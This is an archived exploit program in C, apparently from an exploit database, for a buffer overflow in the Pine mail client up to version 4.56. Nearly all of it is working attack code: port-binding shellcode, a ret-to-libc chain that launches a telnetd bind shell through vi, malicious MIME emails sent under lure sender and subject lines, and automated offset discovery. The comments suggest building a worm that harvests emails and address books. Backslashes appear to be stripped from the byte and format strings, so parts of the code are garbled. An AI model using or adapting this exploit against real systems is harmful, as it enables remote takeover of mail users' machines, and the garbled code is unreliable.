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# Title : Pine <= 4.56 Remote Buffer Overflow Exploit
# Published : 2003-09-16
# Author : sorbo
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/*
 * Mon Sep 15 09:35:01 CEST 2003
 *
 * (remote?) Pine <= 4.56 exploit
 * by sorbo (sorbox yahoo com)
 * darkirco
 *
 * Ok won't talk much about the bug since as usual idefense advisories
 * are *proper* advisories and explain everything... exploiting the bug
 * is trivial after reading the adv:
 * http://www.idefense.com/advisory/09.10.03.txt
 *
 * There are two ways of doing this:
 * 1) standard shellcode
 * we don't need offset here because of nature of hole...
 * all we need is distance from a variable to eip which is quite fixed
 * it is not like we need an "offset somewhere in stack"
 * just a relative distance
 *
 * 2) ret to libc (should work on fbsd too)
 * this requires our command string somewhere in memory
 * we may use .bss (fixed)
 * we also need distance from variable to ebp (quite fixed)
 * and we need addr of system (fixed)
 * This is "own" grsec since we don't really run a shellcode
 * and directly overwrite eip
 *
 * In both method i said u need the dist from var -> eip/ebp
 * this can actually be "bruteforced"
 * I didn't show this since this is a PoC and uses "exact offsets"
 * All u do is supply multiple charsets and overwrite larger areas of memory
 * This makes method 1 100% successfull (or letys say 99.9%)
 * (nice for remote exploitation)
 *
 * Method 2 is "slightly harder" to bruteforce since u must NOT overwrite 
 * eip... so u must "stop ur bruteforce ad ebp" somehow... but thats kinda
 * gay ;D
 *
 * With unfallable method one a worm can easily be done...
 * shellcode that listens and uploads worm...
 * and executes a grep @ /var/spool/mail/bla or whatever to get emails
 * or pine addr book
 *
 * also for normal "owning" u can use reverse telnetd shellcode
 * so u just keep a server up and don't have to "wait" for person
 * to launch sploit
 *
 * Greetz: zen-parse (thanks for your patience (if im not in ur ignore ;D))
 *		non metto i soliti stronzi de merda nei greetz (tipo gunzip ;D)
 *		e specialmente kuelle ke non me la danno ;D ahahah
 *
 *		#areyoucrazy@ircnet
 *			(most leet chan... fill it up with ur bots ;D)
 *
 *	and last but not least... the world must know: s0lar TI AMO!!!
 *
 *
 * ok enough... hope this exp is lame enough i wanted to close my summer
 * vacation with it and proove the world i had nothing better to do =D
 * college is starting c ya
 *
 * to own remotely: ./sorpine -o 1 -t bla bla com | sendmail -t
 *
 * Enjoy have fun!
 *
 */

#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <signal.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
              
              
#define PINE "/usr/bin/pine"
#define PLIST 50	/* a location buff-PLIST that is writable (.bss) */

/* port bind command ;D
 * from vi spawn a shell duh...
 *
 */
char *lame_cmd = 
"/usr/sbin/in.telnetd -L /usr/bin/vi -debug 6682 & /bin/killall -9 pine";


struct target_info {
	char desc[1024];
	int method;	/* 0 easy , 1 hard */
	int dist;	/* eip or ebp depending on method */
	int buff;
	int sys;
};



/*
 * notice to slackware maintainers:
 * sorry guyz.. its not that im against u
 * its that I only use slack =(
 * thats y all my exps only have slack targets ;D
 * keep up the good work =D
 * plus... its free advertisment for u!
 *
 */
struct target_info targets[] = {

{ "Slackware 9.0",0,300,0,0},
{ "Slackware 9.0",1,296,0x083c8f15,0x0804aeda},

{ "Slackware 8.1",0,284,0,0},
{ "Slackware 8.1",1,280,0x0838e0d5,0x0804aeca},

{ "Slackware 8.0",0,284,0,0},
{ "Slackware 8.0",1,280,0x0836d875,0x0804a5ba}
};


/*
 * Non usable chars in egg (sc and various addrs)
 * 
 */
char nonusable[] = "x09x0ax0dx28x29x5c";

/*
 * lame (but working??) modification of sorshell
 * no setsockopt() =((( too long
 * portbinding shellcode with terminal support
 * (if whatever i said makes sense)
 * port 6682
 * telnet ip 6682
 * ^]
 * telnet> mode character
 *
 * funny how my ret to libc does the same thing and its 0 byte shellcode ;D
 *
 */
char shellcode[] =
"x31xc9xf7xe1xb0x02xcdx80x39xc8x74x05x31xc0x40xcdx80x31"
"xc0xb0x06x50xb0x01x50x89xc3x40x50xb0x66x89xe1xcdx80x89"
"xc2x31xdbx53x66xb9x1ax1axc1xe1x10xb1x02x51x89xe1x6ax10"
"x51x52x89xe1xb0x66xb3x02xcdx80x6ax01x52x89xe1xb0x66xb3"
"x04xcdx80x31xc0x50x50x52x89xe1xb0x66x43xcdx80x89xc7x89"
"xd3x89xc1xb0x06x89xc8x31xd2x52x68x70x74x6dx78x68x64x65"
"x76x2fx68x2fx2fx2fx2fx31xc9xb1x02x89xe3xb0x05xcdx80x89"
"xc6x52x89xe2xb9x31x54x04x40x89xf3xb0x36xcdx80x89xe2xb9"
"x30x54x04x80xb0x36xcdx80x59x83xc1x30xc1xe1x18xbax01x74"
"x73x2fxc1xeax08x01xcax31xc9x51x52x31xd2x68x65x76x2fx70"
"x68x2fx2fx2fx64xb1x02x89xe3xb0x05xcdx80x89xc2xb0x02xcd"
"x80x31xc9x39xc8x75x3fxb0x42xcdx80xb1x03x31xc0x89xd3xb0"
"x3fx49xcdx80x41xe2xf8x89xd3xb0x06xcdx80x89xf3xb0x06xcd"
"x80x89xfbxb0x06xcdx80x50x68x2fx2fx73x68x68x2fx62x69x6e"
"x89xe3x50x53x89xe1x99xb0x0bxcdx80x31xc0x40xcdx80x89xd3"
"x31xc0xb0x06xcdx80x83xecx50x31xc9xf7xe1x31xdbx89xf9x43"
"xd3xe3x01xd8x89xf1x31xdbx43xd3xe3x01xd8x50x89xdax89xcb"
"x43x89xe1x52x57x56x31xffx31xf6x31xc0x99xb0x8excdx80x5e"
"x5fx5bx58x21xd8x31xdbx39xc3x75x1bxb2x50x89xe1x89xfbx31"
"xc0xb0x03xcdx80x83xf8x01x7cx26x89xc2x89xf3xb0x04xcdx80"
"xebxadxb2x50x89xe1x89xf3x31xc0xb0x03xcdx80x83xf8x01x7c"
"x0bx90x89xc2x89xfbxb0x04xcdx80xebx91x31xc0x40xcdx80";


/* cause a break and have a "test" number to check */
char testsc[] = "xccx01x02x03x04";

struct bss {
	int start;
	int end;
};

char mail[6666];	/* this is basically the "egg" */

void die(int i, char *m) {
        if(i)
                perror(m);
        else
                printf("%sn",m);
        exit(0);
}


/*
 * prepare boring part of email
 *
 */
void prepare_mail(char *from, char *sub, char *to) {
	snprintf(mail,sizeof(mail),
			"From: %sn"
			"Subject: %sn"
			"To: %sn"
			"MIME-Version: 1.0n"
			"Content-Type: multipart/related;n"
			" type="multipart/alternative";n"
			" boundary=sorbo-roxnn"
			"--sorbo-roxn",from,sub,to);
}


/*
 * ok here da tricky bit
 * arg: number of bytes (distance)
 *
 * it returns a positive unsigned int
 * that becomes negative when singed
 * that when *4 becomes signed
 * matching our distance
 * yeah kinda dirty... i hate numbers ;D
 * w00t
 *
 */
unsigned int num(int dist) {
        int tmp = -1-dist;
        unsigned int border = tmp;
        int neg = (border/4)*(-1);
        unsigned int res;

        res = 0xffffffff+neg;

        return res;
}

/*
 * ret-to-libc system() grsex 0wned
 *
 * we overwrite ebp
 * we control esp (heap)
 * we make stack perfect and make it ret to system
 * 
 *
 * conditions plist must be writable (bss is ok)
 * we must know addr of ptr to our command (bss is fixed)
 *
 * NOTE: segfault after shell is NORMAL since it will return to plist addr
 *
 */
void own_hard(int sys, int plist, int cmd, int dist, char *command) {
	char egg[1024];
	
	int *ptr = (int*)&egg[0];
	
	*ptr = 0x41414141; /* ebp */
	ptr++;
	*ptr = sys; /* system */
	ptr++;
	*ptr = plist; /* ret /  plist */
	ptr++;
	*ptr = cmd; /* /bin/sh */
	ptr++;
	*ptr = 0;

	/* practice: exploit this exploit =D */	
	sprintf(mail+strlen(mail),
		"Content-Type: message/external-body;n"
		" access-type="%s";n"
		" charset*%u*="%s";n"
		"Content-Transfer-Encoding: 8bitn"
		"--sorbo-rox--n",
		command,num(dist), egg);
	
}

/*
 * we overwrite ret addr and own it
 * no offset needed since we control area pointer by ret directly
 * well we do need the stack distance from params to eip
 *
 */
void own_easy(int dist, char *s) {

	/* practice: exploit this exploit =D */	
	sprintf(mail+strlen(mail),
		"Content-Type: text/html;n"
		" charset*%u*="%s";n"
		"Content-Transfer-Encoding: 8bitn"
		"--sorbo-rox--n",
		num(dist), s);

}

/* create a lame pinerc */
void pinerc() {
	int pid;
	
	pid = fork();
	if(pid == -1)
		die(1,"fork()");
	
	if(!pid) {
		char *arg[] = { "pine","-p","/tmp/pinerc", NULL };
		close(1);
		close(2);
		
		execve(PINE,arg,NULL);
		die(1,"execve()");
	}
	else {
		sleep(1);
		kill(pid,SIGKILL);
		wait(NULL);
	}
	
	if(system("grep -v inbox-path /tmp/pinerc > /tmp/o "
		"&& mv /tmp/o /tmp/pinerc && "
		"echo inbox-path=/tmp/meil >> /tmp/pinerc")<0)
		die(1,"system()");
}

void write_mail(char *path) {
	FILE *f;
	
	f = fopen(path,"w");
	if(!f)
		die(1,"fopen()");
	
	if(fprintf(f,"From sorbo  Tue Nov 29 00:00:00 1983n%s",mail) < 1)
		die(1,"fprintf()");

	fclose(f);		
}

char *line;

/* get a free tty */
int getty(int *master, int *slave) {
        if ((*master = open("/dev/ptmx", O_RDWR)) == -1)
                return -1;

        if (grantpt(*master) == -1 ||
                unlockpt(*master) == -1 ||
                (line = (char*)ptsname(*master)) == NULL ||
                (*slave = open(line, O_RDWR)) == -1) {

                close(*master);
                return -1;
        }

        return 0;
}

/* fire up debugged process (and continue && wait) */
int start_debug(int cont) {
        int pid = fork();
	int slave,master;
	
	/* we associate it to tty cuz ncurses fucks up screen */
	if( getty(&master,&slave) == -1)
		die(0,"getty()");

        if(pid == -1)
                die(1,"fork()");

        /* child */
        if(!pid) {
                char *arg[] = { "pine", "-p","/tmp/pinerc","-I",
                	"l,>,>,<,<,q,y",NULL };

                if(ptrace(PTRACE_TRACEME,NULL,NULL)==-1)
                        die(1,"ptrace()");

		if ((pid = open(line, O_RDWR)) == -1)
			die(1,"open()");
		                           
                           
		dup2(pid,0);
 		close(1);
 		close(2);
                execv(PINE,arg);
                die(1,"execve()");
        }
        else {
		wait(NULL);
		if(cont) {
	                if(ptrace(PTRACE_CONT,pid,0,0) == -1)
	                        die(1,"ptrace()");
			wait(NULL);
		}
	}
	return pid;
}

void stop_debug(int pid) {
        if(ptrace(PTRACE_KILL,pid,0,0) == -1)
        	die(1,"ptrace()");

	wait(NULL);
}

/* 
 * 0 = nope
 * 1 = yea
 * duh ;D
 *
 */
int test_dist() {
        struct user_regs_struct regs;
        int x;
                                
        int pid = start_debug(1);
                                

        if(ptrace(PTRACE_GETREGS,pid,NULL,&regs)==-1)
		return 0;	/* exited normally prolly */

//                printf("EIP=%xn",regs.eip);		
	x = ptrace(PTRACE_PEEKTEXT,pid,regs.eip,NULL);
        if(x == -1 && errno != 0 && errno != EIO)
               	die(1,"ptrace()");
//		printf("INSTR=%xn",x);                                                      
                         

	stop_debug(pid);

	if(x == *((int*)&testsc[1])) 
		return 1;
		
	return 0;
}

/* popen and get line */
char *getShit(char *cmd) {
        FILE *f;
        static char buff[1024];

        f = popen(cmd,"r");

        if(f == NULL) {
                perror("popen");
                exit(0);
        }

        buff[0] = 0;

        fgets(buff,sizeof(buff),f);
        pclose(f);

        return &buff[0];

}

/* get a number from a popen */
int getInt(char *p) {
        char *ptr = getShit(p);
        int ret = 0;
        if(sscanf(ptr,"%x",&ret)!=1) {
                printf("Error in getting addrn");
                exit(0);
        }
        return ret;
}

/* get start and end of bss */
struct bss getbss() {
	struct bss b;
	
	b.start = getInt("objdump --headers "
		PINE" | grep " .bss" | awk '{print $4}'");
	b.end =  getInt("objdump --headers "
		PINE" | grep " .bss" | awk '{print $3}'");
	
	b.end += b.start;		

	return b;
}

/* find our buff (command) in the process memory .bss */
int findbuf(int ebp) {
	struct bss b;
	int pid;
	int cmd = 0x12345678;
	int addr;
	int ret = -1;
        struct user_regs_struct regs;
	int x;

	
	b = getbss();
	
	printf(".bss START =0x%.8x END=0x%.8xn",b.start,b.end);
	prepare_mail("from","subj","to");
	own_hard(0x41414141,b.start,b.start,ebp,(char*)&cmd);
	write_mail("/tmp/meil");

	addr = b.start;

        pid = start_debug(1);


        if(ptrace(PTRACE_GETREGS,pid,NULL,&regs)==-1)
		return -1;	/* exited normally prolly */
		
//        printf("EIP=%xn",regs.eip);		
	if(regs.eip != 0x41414141)
		return -1;
		
	for(addr = b.start; addr < b.end; addr++) {
		printf("Checking 0x%.8xr",addr);
		fflush(stdout);
		x = ptrace(PTRACE_PEEKTEXT,pid,addr,NULL);
                if(x == -1 && errno != 0)
           		 die(1,"ptrace()");
		if(x == cmd) {
			ret = addr;
			break;
		}
	}
	stop_debug(pid);
	putchar('n');		
	return ret;
}

/* get system from libc */
int getSystem() {
        int base;
        int offset;
        char tmp[1024*2];
	char libc[512];

        /* binary specific */
        base = getInt("ldd " PINE 
        	" | grep "libc\." | awk '{print $4}' | tr -d "()"");
//        printf("GLIBC base addr 0x%.8xn",base);

        /* get libc path */
        snprintf(libc,sizeof(libc),"%s",getShit("ldd " PINE 
        	" | grep "libc\." | awk '{print $3}'"));
        
        if(strlen(libc) <2) {
                printf("can't get libc locationn");
                exit(0);
        }
        libc[strlen(libc)-1] = 0;

        /* lib specific */
        snprintf(tmp,sizeof(tmp),"objdump -T %s | grep \ system | "
        	"awk '{print $1}' ",libc);

        offset = getInt(tmp);
 //       printf("GLIBC __libc_system offset 0x%.8xn",offset);

        offset += base;

  //      printf("system() addr 0x%.8xn",offset);

        return offset;

}

/* check if offset contains non usable chars */
int isUsable(int x) { 
	int i,j;
	
	for(i = 0; i < sizeof(x); i++) 
		for(j =0; j < sizeof(nonusable); j++) 
			if( *(((unsigned char*)&x)+i) == nonusable[j]) 
				return 0;
	return 1;
}

/* get various system offsets */
int *getSystemOffsets() {
	static int off[3];
	int pid;
	int x;
	
	off[0] = getSystem();
	off[1] = getInt("objdump -T "PINE" | grep system | awk '{print $1}'");
	off[2] = getInt("objdump -R "PINE" | grep system | awk '{print $1}'");

	pid = start_debug(0);
	x = ptrace(PTRACE_PEEKTEXT,pid,off[2],NULL);

        if(x == -1 && errno != 0)
        	die(1,"ptrace()");
        off[2] = x;
        
	stop_debug(pid);
        
	return &off[0];
}

/* get target from local pine */
struct target_info getTarget() {
	struct target_info target;
	int *sysa;
	int i;
	char os[512];

	/* get a description of target */
	snprintf(os,sizeof(os),getShit("uname -sr | tr -d 'n'"));
	snprintf(target.desc,sizeof(target.desc),"%s Pine %s",os,
		getShit(PINE" -v | awk '{print $2}' | tr -d 'n'"));
	printf("Trying to own: %sn",target.desc);


	pinerc();

	/* find stack dist from params -> eip */
	printf("Searching stack distancen");
	for(target.dist = 4; target.dist < 1024; target.dist+=4) {
		prepare_mail("from","subj","to");
		own_easy(target.dist,testsc);
		write_mail("/tmp/meil");
		printf("Testing target.dist %dr",target.dist);
		fflush(stdout);
		if(test_dist())
			break;
	}
	printf("n");
	if(target.dist == 1024)
		die(1,"Can't find dist");
	printf("DIST=%dnn",target.dist);

	printf("Ok theoretically we can exploit it the easy wayn"
		"looking for hard way shit nownn");

	/* find our buffer on bss ebp should b eip-4 */	
	target.buff = findbuf(target.dist-4);
	target.method = 0;
	if(target.buff != -1) {
		target.method = 1;
		if(!isUsable(target.buff) || !isUsable(target.buff-PLIST))
			die(0,"TODO: addr not usuable... trivial to fix");
		printf("Our command will lie in 0x%.8xnn",target.buff);
	
		/* find usable system() addr */
		printf("Obtaining system() addr listn");
		sysa = getSystemOffsets();
	
		for(i = 0; i < 3; i++) {
			int usable = isUsable(sysa[i]);
			printf("System %d:0x%.8x %sn",i,sysa[i],
				usable?"OK":"NOT OK");
			if(usable)
				target.sys = sysa[i];
		}
		printf("Will use 0x%.8xnn",target.sys);
	}
	else
		printf("Unable to do things the hard way =(n");

	unlink("/tmp/pinerc");
	unlink("/tmp/meil");

	printf("Summary of targets for this system:n"
		"{ "%s",0,%d,0,0},n",target.desc,target.dist);
	if(target.method)
		printf("{ "%s",1,%d,0x%.8x,0x%.8x}n",
		target.desc,target.dist-4,target.buff,target.sys);

	return target;
}


/* yeah kids luv this */
void skriptkiddie_s0lar() {
	char *mbox;
	FILE *f;
	struct target_info target;	
	
	
	printf("O shit... is it s0lar running this exp again?n"
"not even a -h? ok lets make her happy and make everyhing magically workn"
		"WARNING: need write axx on /tmp and use of gdb (no grsec high)nn");

	target  = getTarget();


	
	mbox = (char*)getenv("MAIL");
	if(!mbox)
		die(0,"getenv()");
		
	printf("Attempting to write mails to %sn",mbox);
	f = fopen(mbox,"a");
	if(!f)
		die(1,"fopen()");

	/* first mail (easy) */
	prepare_mail("Andrei Koymaski <andrei gay ru>",
	"Easy method portbind 6682","Gustavo Lamazza <gustavo gay it>");
	own_easy(target.dist,shellcode);
	if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983n%sn",mail)<1)
		die(1,"fprintf()");


	/* second mail (hard) 
	 * we run vi and then
	 * :!/bin/sh
	 * cuz we don't have enough space to make a bindshell and shit
	 */
	if(target.method) {
		prepare_mail("Osama Bin Laden <osama al-quaeda ar>",
"Hard method (owns grsec) portbind 6682 with vi... spawn shell from vi",
			"George Bush <george whitehouse gov>");
		own_hard(target.sys,target.buff-PLIST,target.buff,
			target.dist-4,
		lame_cmd);

	if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983n%sn",mail)<1)
		die(1,"fprintf()");
	}
	
	printf("You should have mail... read with pine and see if this"
		" crap worxn");
	printf("Enjoy.... s0lar ti amon");
	exit(0);

}


void listTargets() {
	int i;
	
	printf( "IdtDescriptiontMethodtDisttBuffttsystem()n"
"========================================================================n");
	for(i =0; i < sizeof(targets)/sizeof(struct target_info); i++) {
		printf("%dt%st%st%dt0x%.8xt0x%.8xn",
		i,targets[i].desc,targets[i].method?"hard":"easy", 
		targets[i].dist,targets[i].buff,targets[i].sys);
	}
}

/* own a target */
void own(struct target_info t,char *from,char *sub,char *to) {
	prepare_mail(from,sub,to);

	/* hard */
	switch(t.method) {
		case 1: 
			own_hard(t.sys,t.buff-PLIST,t.buff,t.dist,lame_cmd);
			break;
	
		case 0:
			own_easy(t.dist,shellcode);
			break;
	
		default:
			die(0,"Unknown ownage method");	
	}

	printf("%s",mail);

}

void usage(char *m) {
	printf("Usage: %s <opts>n"
	"-htthis lame messagen"
	"-ftfromn"
	"-ttton"
	"-stsubn"
	"-ottargetn"
	"-mtmethod 0:easy 1:hard(grsex)n"
	"-dtdistn"
	"-btbuffn"
	"-ltsystemnn"
	,m);
	listTargets();
}

int main(int argc, char *argv[]) {
	char from[512];
	char to[512];
	char sub[512];
	int opt;
	struct target_info t;
	struct target_info *target = &t;	/* we shall own this */

	strcpy(from,"Justin Time <admin playboy com>");
	strcpy(to,"You <winners playboy com>");
	strcpy(sub,"You are selected! Come get your FREE playboy.com account");

	t.method = -1;
	t.buff = 0;
	t.sys = 0;
	t.dist = 0;

	fprintf(stderr,"(remote?) Pine <= 4.56 exploit "
	"by sorbo (sorbox yahoo com)np s  grsec won't save you =(nn");

	if(argc<2)
		skriptkiddie_s0lar();
		
        while( (opt = getopt(argc,argv,"hf:t:s:o:m:d:b:l:")) != -1) {
        	switch(opt) {
        		default:
        		case 'h':
        			usage(argv[0]);
        			exit(0);

			case 'm':
				t.method = atoi(optarg);
				break;
			case 'd':
				t.dist = atoi(optarg);
				break;
			case 'b':
 				if(sscanf(optarg,"%x",&t.buff) != 1)
 					die(0,"Can't parse buff addr");
 				break;
			case 'l':
 				if(sscanf(optarg,"%x",&t.sys) != 1)
 					die(0,"Can't parse sys addr");
 				break;

        		
        		case 'f':
        			/* does snprintf put the 0 at end if arg
        			 * barely fits ? i never really looked into
        			 * this... hope it does! ;D
        			 */
        			snprintf(from,sizeof(from),"%s",optarg);
        			break;
        		case 't':
        			snprintf(to,sizeof(to),"%s",optarg);
        			break;
        		case 's':
        			snprintf(sub,sizeof(sub),"%s",optarg);
        			break;
        		case 'o': {
        			unsigned int o = atoi(optarg);
        			if(o >= 
        			sizeof(targets)/sizeof(struct target_info))
        				die(0,"Target outta range");
        			target = &targets[o];
        			break;
        		}
                }
        }        
	
	/* check if we got all we need */
	if(target == &t) {
		if(!t.dist)
			die(0,"provide dist");
		if(t.method == 1) 
			if(!t.buff || !t.sys)
				die(0,"buff or sys not provided");
	}
	
	/* go for it */
	own(*target,from,sub,to);
        exit(0);	
}

// www.Syue.com [2003-09-16]